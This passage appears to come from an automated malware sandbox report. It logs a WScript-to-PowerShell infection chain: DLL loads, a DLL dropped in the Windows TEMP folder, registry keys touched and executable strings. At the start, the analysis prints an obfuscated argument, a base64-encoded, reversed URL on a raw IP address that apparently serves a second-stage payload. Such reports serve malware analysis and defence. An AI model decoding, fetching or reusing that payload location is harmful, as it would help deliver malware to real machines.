[object[]] ('dHh0LjQ2ZXNhYnlyZXZvY2VydGNhdG5vY2h0aXdwdGZlbGlmZGlvcmQvODkuMDUyLjI5LjE5Ly86cHR0aA==' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"" (UID: 00000000-00004012)33:Ta1f,"WScript.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "WScript.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\security.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\CRYPT32.dll" - [base:0; Status:c0000135]34:T3d18,"WScript.exe" loaded module "ADVAPI32.DLL" at base 75590000 "WScript.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75ab0000 "WScript.exe" loaded module "KERNEL32.DLL" at base 75d70000 "WScript.exe" loaded module "SXS.DLL" at base 75160000 "WScript.exe" loaded module "DWMAPI.DLL" at base 73ce0000 "WScript.exe" loaded module "CLBCATQ.DLL" at base 75ea0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\JSCRIPT.DLL" at base 6d100000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 75590000 "WScript.exe" loaded module "WINTRUST.DLL" at base 75390000 "WScript.exe" loaded module "CRYPTSP.DLL" at base 74c60000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 749f0000 "WScript.exe" loaded module "MSISIP.DLL" at base 6d320000 "WScript.exe" loaded module "OLE32.DLL" at base 75b30000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 753d0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCROBJ.DLL" at base 6d020000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MLANG.DLL" at base 6cff0000 "WScript.exe" loaded module "RPCRTREMOTE.DLL" at base 751f0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WINHTTP.DLL" at base 709d0000 "WScript.exe" loaded module "SHLWAPI.DLL" at base 75ad0000 "WScript.exe" loaded module "WINHTTP.DLL" at base 709d0000 "WScript.exe" loaded module "WS2_32.DLL" at base 76dc0000 "WScript.exe" loaded module "SSPICLI.DLL" at base 750e0000 "WScript.exe" loaded module "RPCRT4.DLL" at base 772a0000 "WScript.exe" loaded module "WSHTCPIP" at base 746c0000 "WScript.exe" loaded module "OLEAUT32.DLL" at base 75750000 "WScript.exe" loaded module "DNSAPI.DLL" at base 74ae0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 746c0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 74c10000 "WScript.exe" loaded module "RASADHLP.DLL" at base 71a70000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 73140000 "WScript.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 737e0000 "WScript.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "WScript.exe" loaded module "KERNEL32" at base 75d70000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "WScript.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6d1b0000 "WScript.exe" loaded module "CRYPT32.DLL" at base 753d0000 "WScript.exe" loaded module "CRYPTBASE.DLL" at base 75150000 "WScript.exe" loaded module "IMM32.DLL" at base 774a0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 6d0e0000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 75d70000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSXML6.DLL" at base 71130000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHOM.OCX" at base 6cf80000 "WScript.exe" loaded module "SHELL32.DLL" at base 75f30000 "WScript.exe" loaded module "CREDSSP.DLL" at base 74920000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74c20000 "WScript.exe" loaded module "WSHIP6.DLL" at base 74c10000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHQOS.DLL" at base 708d0000 "WScript.exe" loaded module "IPHLPAPI.DLL" at base 747b0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 74a60000 "WScript.exe" loaded module "COMCTL32.DLL" at base 740d0000 "WScript.exe" loaded module "SECUR32.DLL" at base 74f90000 "WScript.exe" loaded module "NCRYPT.DLL" at base 74d90000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 74930000 "WScript.exe" loaded module "USER32.DLL" at base 75c90000 "WScript.exe" loaded module "USERENV.DLL" at base 75310000 "WScript.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75ab0000 "WScript.exe" loaded module "GPAPI.DLL" at base 74830000 "WScript.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL" at base 75ab0000 "WScript.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL" at base 75ab0000 "WScript.exe" loaded module "PROPSYS.DLL" at base 73d80000 "WScript.exe" loaded module "APPHELP.DLL" at base 75100000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\IEFRAME.DLL" at base 6bdf0000 "WScript.exe" loaded module "SETUPAPI.DLL" at base 76f30000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73d80000 "WScript.exe" loaded module "NTMARTA.DLL" at base 74770000 "WScript.exe" loaded module "PROFAPI.DLL" at base 75260000 "WScript.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L1-1-0.DLL" at base 75580000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 770d0000 "WScript.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL" at base 75510000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75100000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73d40000 "powershell.exe" loaded module "CLBCATQ.DLL" at base 75ea0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 75f30000 "powershell.exe" loaded module "OLE32.DLL" at base 75b30000 "powershell.exe" loaded module "USERENV.DLL" at base 75310000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75ab0000 "powershell.exe" loaded module "COMCTL32.DLL" at base 740d0000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 75590000 "powershell.exe" loaded module "KERNEL32.DLL" at base 75d70000 "powershell.exe" loaded module "SHELL32.DLL" at base 75f30000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 75750000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 75d70000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73d80000 "powershell.exe" loaded module "NTMARTA.DLL" at base 74770000 "powershell.exe" loaded module "APPHELP.DLL" at base 75100000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SHDOCVW.DLL" at base 6eef0000 "powershell.exe" loaded module "PROPSYS.DLL" at base 73d80000 "powershell.exe" loaded module "SETUPAPI.DLL" at base 76f30000 "powershell.exe" loaded module "RPCRT4.DLL" at base 772a0000 "powershell.exe" loaded module "LINKINFO.DLL" at base 6eeb0000 "powershell.exe" loaded module "PROFAPI.DLL" at base 75260000 "powershell.exe" loaded module "USER32.DLL" at base 75c90000 "powershell.exe" loaded module "NTSHRUI.DLL" at base 72c00000 "powershell.exe" loaded module "SRVCLI.DLL" at base 74e70000 "powershell.exe" loaded module "CSCAPI.DLL" at base 70940000 "powershell.exe" loaded module "SLC.DLL" at base 73280000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 75ad0000 "powershell.exe" loaded module "CRYPTSP.DLL" at base 74c60000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 749f0000 "powershell.exe" loaded module "CRYPTBASE.DLL" at base 75150000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 737e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "powershell.exe" loaded module "KERNEL32" at base 75d70000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 6d0d0000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "VERSION.DLL" at base 747d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V2.0.50727\MSCORWKS.DLL" at base 689c0000 "powershell.exe" loaded module "MSCOREE.DLL" at base 6d160000 "powershell.exe" loaded module "NTDLL" at base 77350000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSCOREE.DLL" at base 6d160000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\MSCORLIB\9F895C66454577EFF9C77442D0C84F71\MSCORLIB.NI.DLL" at base 67ec0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V2.0.50727\OLE32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V2.0.50727\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\SYSTEM\AD92DAB7F418877D6A1E0358CE35658A\SYSTEM.NI.DLL" at base 67710000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\MICROSOFT.POWERSHEL#\8229F0505633D4BCEF019B9D4FAB9F18\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 6cf20000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\SYSTEM.MANAGEMENT.A#\84C47B5A5813A5F040AEE9715A0FF7C0\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 66ba0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "PSAPI.DLL" at base 757f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 77350000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\SYSTEM.CORE\BD9FF1A4363781A57E8F7392F230A203\SYSTEM.CORE.NI.DLL" at base 66960000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\MICROSOFT.POWERSHEL#\49CAE79AC18BAD142E1AB5A46A8AC306\MICROSOFT.POWERSHELL.COMMANDS.DIAGNOSTICS.NI.DLL" at base 6d260000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\SYSTEM.CONFIGURATIO#\D6ACC39F6C1EA42D8B3150DB6184A969\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 6d000000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\MICROSOFT.WSMAN.MAN#\7BF5729401CFF7EA7898124E9818ED20\MICROSOFT.WSMAN.MANAGEMENT.NI.DLL" at base 6ce90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\SYSTEM.TRANSACTIONS\FEC007EA17AC8956CC5D6D4074DADA6A\SYSTEM.TRANSACTIONS.NI.DLL" at base 6cb40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\2.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 6ce40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\MICROSOFT.POWERSHEL#\F1831CE4588265A3F72E0A581BA58F2A\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 667c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\MICROSOFT.POWERSHEL#\344E681515D07B93A4F1383F0D625E1E\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 666f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\MICROSOFT.POWERSHEL#\573750F17B5B8316F04A10956FDD1D97\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 6cdd0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V2.0.50727\CULTURE.DLL" at base 6cff0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\SYSTEM.XML\77C1DC46EA139BF5E1EAA9B87EF03C7A\SYSTEM.XML.NI.DLL" at base 66120000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\SYSTEM.MANAGEMENT\00C2B464E52D4E82C04D61592A12A89D\SYSTEM.MANAGEMENT.NI.DLL" at base 66010000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\SYSTEM.DIRECTORYSER#\237ED1739105C1BEBE48D41905FDB3EE\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 65ef0000 "powershell.exe" loaded module "SHFOLDER.DLL" at base 6ce30000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_32\MSCORLIB\2.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "SECUR32.DLL" at base 74f90000 "powershell.exe" loaded module "SSPICLI.DLL" at base 750e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\SYSTEM.DATA\511C39D1EFA06D262A6B2F47E2726C73\SYSTEM.DATA.NI.DLL" at base 65890000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_32\SYSTEM.DATA\2.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 655b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V2.0.50727\MSCORJIT.DLL" at base 6cd70000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\1.0.0.0__31BF3856AD364E35\SHELL32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75100000 "powershell.exe" loaded module "NETUTILS.DLL" at base 737b0000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6d200000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\SYSTEM.CONFIGURATION\AD8DD536906E94C4BC9CB9B82285580B\SYSTEM.CONFIGURATION.NI.DLL" at base 654b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\RASAPI32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74c20000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 746c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 74c10000 "powershell.exe" loaded module "RTUTILS.DLL" at base 73660000 "powershell.exe" loaded module "API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL" at base 75ab0000 "powershell.exe" loaded module "WINHTTP.DLL" at base 709d0000 "powershell.exe" loaded module "IPHLPAPI.DLL" at base 747b0000 "powershell.exe" loaded module "DHCPCSVC6.DLL" at base 730b0000 "powershell.exe" loaded module "DHCPCSVC.DLL" at base 746d0000 "powershell.exe" loaded module "NSI.DLL" at base 774c0000 "powershell.exe" loaded module "CFGMGR32.DLL" at base 75350000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V2.0.50727\CULTURE.DLL" at base 6ce20000 "powershell.exe" loaded module "RASAPI32.DLL" at base 725b0000 "powershell.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL" at base 75ab0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "powershell.exe" loaded module "WS2_32.DLL" at base 76dc0000 "powershell.exe" loaded module "RASMAN.DLL" at base 72590000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\WINHTTP.DLL" at base 0 "powershell.exe" loaded module "DNSAPI.DLL" at base 74ae0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 73140000 "powershell.exe" loaded module "SECURITY.DLL" at base 6e190000 "powershell.exe" loaded module "CREDSSP.DLL" at base 74920000 "powershell.exe" loaded module "NCRYPT.DLL" at base 74d90000 "powershell.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL" at base 75ab0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 70850000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\IPHLPAPI.DLL" at base 0 "powershell.exe" loaded module "RASADHLP.DLL" at base 71a70000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\SECURITY.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 74a60000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 74930000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "CRYPT32.DLL" at base 753d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V2.0.50727\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "GPAPI.DLL" at base 74830000 "powershell.exe" loaded module "CRYPTNET.DLL" at base 70850000 "powershell.exe" loaded module "SENSAPI.DLL" at base 6e180000 "powershell.exe" loaded module "GDI32.DLL" at base 75e50000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V2.0.50727\DIASYMREADER.DLL" at base 6520000035:T15b4,"WScript.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "WScript.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "WScript.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "WScript.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "WScript.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "WScript.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "WScript.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "WScript.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "WScript.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "WScript.exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") "WScript.exe" touched "Public Folder" (Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "WScript.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "WScript.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "WScript.exe" touched "DXP" (Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "WScript.exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "WScript.exe" touched "Windows Search Service Media Center Namespace Extension Handler" (Path: "HKCU\CLSID\{98D99750-0B8A-4C59-9151-589053683D73}\SHELLFOLDER") "WScript.exe" touched "Other Users Folder" (Path: "HKCU\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "WScript.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "WScript.exe" touched "Games Explorer" (Path: "HKCU\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "WScript.exe" touched "Computers and Devices" (Path: "HKCU\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "WScript.exe" touched "Sticky Notes Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{F3F5824C-AD58-4728-AF59-A1EBE3392799}\SHELLFOLDER") "WScript.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "WScript.exe" touched "Security Manager" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}") "WScript.exe" touched "JScript Language" (Path: "HKCU\CLSID\{F414C260-6AC0-11CF-B6D1-00AA00BBBB58}\TREATAS") "WScript.exe" touched "Constructor that allows hosts better control creating scriptlets" (Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\TREATAS") "WScript.exe" touched "Multi Language Support" (Path: "HKCU\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\TREATAS") "WScript.exe" touched "Server XML HTTP 6.0" (Path: "HKCU\CLSID\{88D96A0B-F192-11D4-A65F-0040963251E5}\TREATAS") "WScript.exe" touched "WinHttpRequest Component version 5.1" (Path: "HKCU\CLSID\{2087C2F4-2CEF-4953-A8AB-66779B670495}\TREATAS") "WScript.exe" touched "Windows Script Host Shell Object" (Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\TREATAS") "powershell.exe" touched "Custom Destination List" (Path: "HKCU\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}") "powershell.exe" touched "Start Menu Cache" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}") "powershell.exe" touched "Start Menu Pin" (Path: "HKCU\CLSID\{A2A9545D-A0C2-42B4-9708-A0B2BADD77C8}\TREATAS") "powershell.exe" touched "Taskband Pin" (Path: "HKCU\CLSID\{90AA3A4E-1CBA-4233-B8BB-535773D48449}\TREATAS") "powershell.exe" touched "Shortcut" (Path: "HKCU\CLSID\{00021401-0000-0000-C000-000000000046}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "powershell.exe" touched "Internet Shortcut" (Path: "HKCU\CLSID\{FBF23B40-E3F0-101B-8488-00AA003E56F8}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "powershell.exe" touched "User Pinned" (Path: "HKCU\CLSID\{1F3427C8-5C10-4210-AA03-2EE45287D668}\SHELLFOLDER") "powershell.exe" touched "Shell File System Folder" (Path: "HKCU\CLSID\{F3364BA0-65B9-11CE-A9BA-00AA004AE837}\INPROCSERVER32") "powershell.exe" touched "User Assist" (Path: "HKCU\CLSID\{DD313E04-FEFF-11D1-8ECD-0000F87A470C}\TREATAS") "powershell.exe" touched "Shared Task Scheduler" (Path: "HKCU\CLSID\{603D3801-BD81-11D0-A3A5-00C04FD706EC}\TREATAS") "powershell.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "powershell.exe" touched "A collection of IUnknown objects that can be enumerated" (Path: "HKCU\CLSID\{2D3468C1-36A7-43B6-AC24-D3F02FD9607A}\TREATAS") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32")36:T1be8,Observed system executable string:"/C:\ PROGRA~2 MICROS~1 WindowsSTARTM~1ProgramsACCESS~1WINDOW~1WINDOW~1.LNKC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk1SPS1SPShapubws-pc/C:\ PROGRA~2 MICROS~1 WindowsSTARTM~1ProgramsACCESS~1WINDOW~1WINDOW~1.LNKC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk1SPS1SPShapubws-pc/C:\WindowsSystem32WINDOW~1v1.0powershell_ise.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe%systemroot%\system32\windowspowershell\v1.0\powershell_ise.exe1SPS1SPShapubws-pc/C:\Windowshh.exeC:\Windows\hh.exe%systemroot%\hh.exe1SPS1SPShapubws-pc" [Source: U0A9651DLQGT4I9ZN4R3.temp] Observed system executable string:"%WINDIR%\System32\WScript.exe" [Source: 00000000-00002496-00000C25-30447888] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 